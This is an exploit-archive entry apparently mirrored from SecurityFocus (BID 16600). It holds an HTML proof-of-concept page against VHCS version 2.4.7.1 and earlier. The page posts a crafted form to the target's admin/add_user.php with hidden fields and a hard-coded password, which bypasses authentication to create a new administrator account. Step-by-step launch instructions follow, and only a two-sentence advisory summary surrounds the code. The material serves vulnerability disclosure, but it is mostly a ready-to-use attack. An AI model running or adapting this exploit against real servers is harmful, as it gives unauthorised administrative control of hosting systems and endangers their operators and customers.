88 lines
No EOL
3.1 KiB
HTML
88 lines
No EOL
3.1 KiB
HTML
source: https://www.securityfocus.com/bid/16600/info
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Virtual Hosting Control System (VHCS) is prone to multiple input and access vulnerabilities.
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VHCS is prone to an HTML-injection vulnerability and an authentication-bypass vulnerability. These issues could be exploited to gain administrative access to the application; other attacks are also possible.
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<html>
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<head>
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<title>VHCS (version <= 2.4.7.1) PoC. By RoMaNSoFt</title>
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<script language="JavaScript">
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function submitform()
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{
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if (document.admin_add_user.username.value=='admin')
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{
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alert('Learn to read before launching an exploit, script-kiddie!');
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exit();
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}
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document.admin_add_user.action=document.admin_add_user.target.value;
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document.admin_add_user.submit();
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}
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</script>
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</head>
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<body>
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<hr>
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<center>
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<b>VHCS (version <= 2.4.7.1) PoC. By RoMaNSoFt <roman@rs-labs.com> [08.Feb.2006]</b>
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</center>
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<hr>
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<form name="admin_add_user" method="post" action="">
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<table width="100%" cellpadding="5" cellspacing="5">
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<tr>
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<td width="20"> </td>
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<td colspan="2">
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</td>
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</tr>
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<tr>
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<td width="20"> </td> <td width="200">Target URL</td>
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<td>
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<input type="text" name="target" value="http://<target>/vhcs2/admin/add_user.php" style="width:400px">
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</td>
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</tr>
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<tr>
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<td width="20"> </td> <td width="200">Username</td>
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<td>
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<input type="text" name="username" value="admin" style="width:200px"> (should NOT exist)
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</td>
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</tr>
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<tr>
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<td> </td>
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<td colspan="2"><a href="javascript: submitform()">Exploit it!</a></td>
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</tr>
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<tr>
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<td colspan="3">
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</td>
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</tr>
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</table>
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<input type="hidden" name="pass" value="dsrrocks">
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<input type="hidden" name="pass_rep" value="dsrrocks">
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<input type="hidden" name="email" value="vhcs-exploit@rs-labs.com">
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<input type="hidden" name="uaction" value="add_user">
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</form>
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<hr>
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<br>
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<u>Quick instructions</u>.-<br>
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<br>
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1.- Enable JavaScript. Fill in the form with appropiate target URL (usually you will only need to replace <target> string) and username.<br>
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2.- Remember not to use a probably existing username (such as "admin").<br>
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3.- Launch the exploit. <i>If target system is vulnerable, a new VHCS admin user will be created</i> ;-)<br>
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4.- You will be redirected to VHCS login page. Try to login with your brand new username.<br>
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5.- Ummm, I forgot it... The password is: <b>dsrrocks</b>.<br>
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<br>
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<u>More info (analysis, fix, etc)</u>.-<br>
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<br>
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See <a href=http://www.rs-labs.com/adv/RS-Labs-Advisory-2006-1.txt><i>RS-2006-1</i></a>.<br>
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<br>
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<hr>
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</body>
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</html> |